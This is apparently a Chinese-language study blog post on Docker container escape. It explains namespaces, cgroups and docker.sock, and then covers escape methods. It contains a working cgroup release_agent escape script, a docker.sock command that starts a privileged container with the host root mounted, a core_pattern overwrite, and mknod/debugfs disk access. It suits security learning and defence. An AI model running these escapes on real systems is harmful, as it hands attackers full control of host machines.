0%

Docker escape

Docker escape

Docker逃逸的本质和硬件虚拟化逃逸的本质有很大的不同,容器逃逸的过程是一个受限进程获取未受限的完整权限,又或某个原本受Cgroup/Namespace限制权限的进程获取更多权限的操作,更趋近于提权。

前置知识

在开始之前,先看看docker和docker实现相关的技术基础

Linux namespace

Linux命名空间,操作系统内核级别的资源隔离方案。通过命名空间,每个进程只能访问自己所处命名空间的资源,因此每个容器才被做到似乎被隔离的效果。
唯有特权用户可以创建命名空间,用户命名空间是一个例外,在Linux3.8后,创建一个user namespace不再需要特权
Linux提供了七类资源的隔离机制,分别是:

  • Mount: 隔离文件系统挂载点
  • UTS: 隔离主机名和域名信息
  • IPC: 隔离进程间通信
  • PID: 隔离进程的ID
  • Network: 隔离网络资源
  • User: 隔离用户和用户组的ID
  • Cgroup:隔离Cgroup根目录(?干什么的,有的资料上没写有这个功能,不过manpage上可以看到确实新加了这个)

简单的理解,比如这个Mount进行隔离,Linux存在一个系统调用叫做chroot,顾名思义就是更改系统的根目录。只要我将根目录修改到某个子目录下,那么chroot后的文件系统就无法访问到该子目录外部的内容。
剩下的资源也是由类似的模式进行了隔离

单独隔离PID时,虽然新开进程在自己的命名空间中会成为1号进程,但仍能通过ps等命令查看全部进程,这是由于ps读取的是/proc目录,需要通过文件系统(Mount)的隔离才能进一步屏蔽

通过ls -l /proc/$pid/ns | awk '{print $1, $9, $10, $11}'可以看到对应进程所属的命名空间

clone,unshare&setns

三个和命名空间相关的系统调用,clone起一个新的线程,通过参数设置命名空间的隔离,unshare使进程脱离某个命名空间,setns则将进程加入到某个命名空间

Linux CGroup

但即使有了命名空间,只是使得不同进程之间的资源互不影响,并不能限制单个进程对计算机全局资源的占用,因此还需要一个新的东西进行控制,也就是Linux Control Group,用于限制控制和分离一个进程组群的资源(CPU,内存,硬盘)占用

Rootless Docker

Linux中的隔离容器是基于Linux命名空间的实现的。而创建命名空间需要特权,Docker的基础——挂载文件系统同样也需要特权,所以Docker服务通常都是需要root用户启动的
后来人们开发出来Rootless Docker,即不需要特权也能运行的docker,不过这个docker多多少少比普通docker少些功能

实现原理

实现的关键是利用用户命名空间(user namespace),上面有提到过Linux3.8之后用户命名空间不需要特权也能创建。用户命名空间可以映射一系列的用户ID,使得内层容器的特权用户(root)映射在外层命名空间时变为普通用户,而Rootless Docker则同时将docker daemon也重新映射到了用户命名空间
说白了就是能用非特权用户能创建命名空间了所以也能实现隔离了呗?(猜的)

/var/run/docker.sock

socket一般分为两种,Internet domain socket和Unix domain socket,前者就是我们常说的网络通信socket,基于网络协议,而后者则只能用于进程间通信,基于文件系统
docker提供了一个Unix socket支持docker API调用,使用HTTP请求通过docker.sock发送给Docker daemon,使用它,我们就可以运行一些能够管理Docker的Docker容器,比如Portainer、Kubernetes
绑定Docker套接字之后,容器的权限会很高,可以控制Docker daemon。

docker run参数选项

docker run [OPTIONS]可以让用户完全控制容器的生命周期,并允许用户覆盖执行docker build时所设定的参数,甚至也可以修改本身由Docker所控制的内核级参数。

Docker逃逸

privileged容器内mount device

应该是最经典的docker逃逸,首先需要docker以privileged模式运行
docker run时加上--privileged这个参数,会使得该容器拥有宿主机root权限,设计时最大的用途应该是允许在该容器内再开容器,该类型的docker由于其权限可以看到宿主机上的磁盘等设备,且允许重新挂载目录
通过fdisk -l命令查看磁盘文件,非privileged的docker将无法看到磁盘
因此privileged容器最常用的逃逸方式就是讲宿主机的根目录挂载进容器内部,对宿主机进行任意文件读写,通过修改crontab,root的authorized_keys等文件完成逃逸

--cap-add SYS_ADMIN

Linux内核在2.2版本后引入capabilities机制,允许普通用户执行特权用户才能执行的命令。
截至Linux 3.0版本,Linux中共有38种capabilities。Docker容器默认限制为14个capabilities,管理员可以使用--cap-add和--cap-drop选项为容器精确配置capabilities。
当docker以privileged模式启动时直接赋予全部capabilities,而add一个SYS_ADMIN的capabilities也允许容器进行挂载等操作,同样可以进行上述利用

cgroup release_agent

同样需要上述挂载权限,这个应该是一个更不容易被检测的逃逸方法?
使用mount -t cgroup -o memory cgroup $mountdir进行挂载
这几个参数我反正是看不懂,也查不到有用的内容

trick

使用sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab命令可以得到当前容器根目录在宿主机中的位置,实现宿主机和容器直接的文件共享(把执行命令的结果写进这个文件就可以在容器内看见)
/etc/mtab文件记录当前的分区挂载情况,不过在没有额外权限的容器内该命令也能获得其在宿主机的目录位置

exp

使用一个现成脚本修改Cgroup的release_agent在宿主机中执行命令
privileged/1-host-ps.sh

#!/bin/bash

set -uex

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

sleep 2
cat "/output"

另一种做法

或者用这个命令挂载mount -t cgroup -o devices devices $mountdir
这两个命令挂载完之后的目录结构好像没什么区别。。。我感觉就是挂载了同样的东西
挂载后有一个docker目录,其中存的有全部docker容器的Cgroup配置,找到自己容器id对应的文件夹,通过echo a > $mountdir/docker/$dockerID/devices.allow使容器可以访问全部类型的设备
使用mknod创建设备文件,并使用debugfs进行访问,再次获取读写宿主机任意文件的权限

mknod name b 252 1
debugfs -w name
mknod参数

mknod的参数还是需要讲一下的,一开始没注意导致复现失败了
参数分别是

  • 文件名:要创建的设备文件名;
  • 类型:指定要创建的设备文件的类型;
  • 主设备号:指定设备文件的主设备号;
  • 次设备号:指定设备文件的次设备号。
    文件名随便起,类型照抄应该也没事,主次设备号是需要自己去翻一下/dev文件夹上那块文件系统的硬盘设备号的,因为是特权容器所以容器内的/dev就是宿主机的/dev,ls -l对应的文件一下就能看见

特殊路径挂载

直接把宿主机的关键文件挂载到docker里来,那就能直接改了。当然大家一般来说不会这么傻

Docker in Docker(docker.sock)

特殊的常见情形(病句)
将宿主机的/var/run/docker.sock挂载进容器内,这样子这个docker就可以通过和docker.sock通信在宿主机内创建任意配置的docker(包括前文的privileged),管理任意容器,这种操作叫Docker in docker(虽然感觉和名字并不是很符合)
在新开一个privileged容器就可以再利用上面的办法打通了
./bin/docker -H unix:///tmp/rootfs/var/run/docker.sock run -d -it —rm —name rshell -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" —network=host —privileged=true —cap-add=ALL alpine:latest
没装docker服务的话也可以试试curl?docker.sock是可以用http协议进行交互的

容器挂载了/proc

利用linux的/proc/sys/kernel/core_pattern文件,文末有参考链接
使用上面提到的trick从mount信息中找出宿主机对应当前容器内部文件结构的路径
在容器根目录下面写一个.sh文件,则宿主机对应目录下可以访问到该文件,又容器挂载了宿主机的/proc目录,所以可以修改其/proc/sys/kernel/core_pattern文件
demo:echo -e "|/var/lib/docker/overlay2/a1a1e60a9967d6497f22f5df21b185708403e2af22eab44cfc2de05ff8ae115f/diff/exp.sh \rcore " > /host_proc/sys/kernel/core_pattern
然后想办法触发一个segmentation fault使得我们的.sh脚本被执行即可(随便写个垃圾代码编译上传上去)
原理,Linux在进程崩溃时会将崩溃信息写入文件,写入的文件名为/proc/sys/kernel/core_pattern中所配置的,若core_pattern的第一个字符为管道符,则会将报错信息传递给管道符后面的程序作为参数并执行该程序

SYS_PTRACE

docker容器启动时加了一个--cap-add=SYS_PTRACE的时候可利用,容器如果需要调试什么的就需要添加这个权限,所以应该也比较常见?
可以使用capsh --print命令看当前容器的的capabilities(虽然我的容器里好像没有这个命令。。。。)
需要找到一个root权限的宿主机进程(大部分都是docker1号进程?),然后对该进程进行注入
使用infect.c进行注入,在目标机器上编译执行./inject $pid注入

CVE-2020-15257

当容器和宿主机共享一个net namespace的时候可以利用
抄一个腾讯写好的工具
https://github.com/cdk-team/CDK/wiki/Exploit:-shim-pwn

脏牛与VDSO

Linux超级远古的至尊漏洞,Dirty CopyOnWrite
利用写入时复制和条件竞争进行任意内存读写的超级漏洞
VDSO Virtual Dynamic Shared Object(虚拟动态共享对象)简单来说就是存在在内核空间的.so文件
在容器内打VDSO内存中的clock_gettime()进行逃逸
网上都有现成的工具

参考链接

DOCKER基础技术:LINUX NAMESPACE(上)
DOCKER基础技术:LINUX CGROUP
Experimenting with Rootless Docker
Docker run 命令的使用方法
利用 /proc/sys/kernel/core_pattern隐藏系统后门
[Linux] Infecting Running Processes
红蓝对抗中的云原生漏洞挖掘及利用实录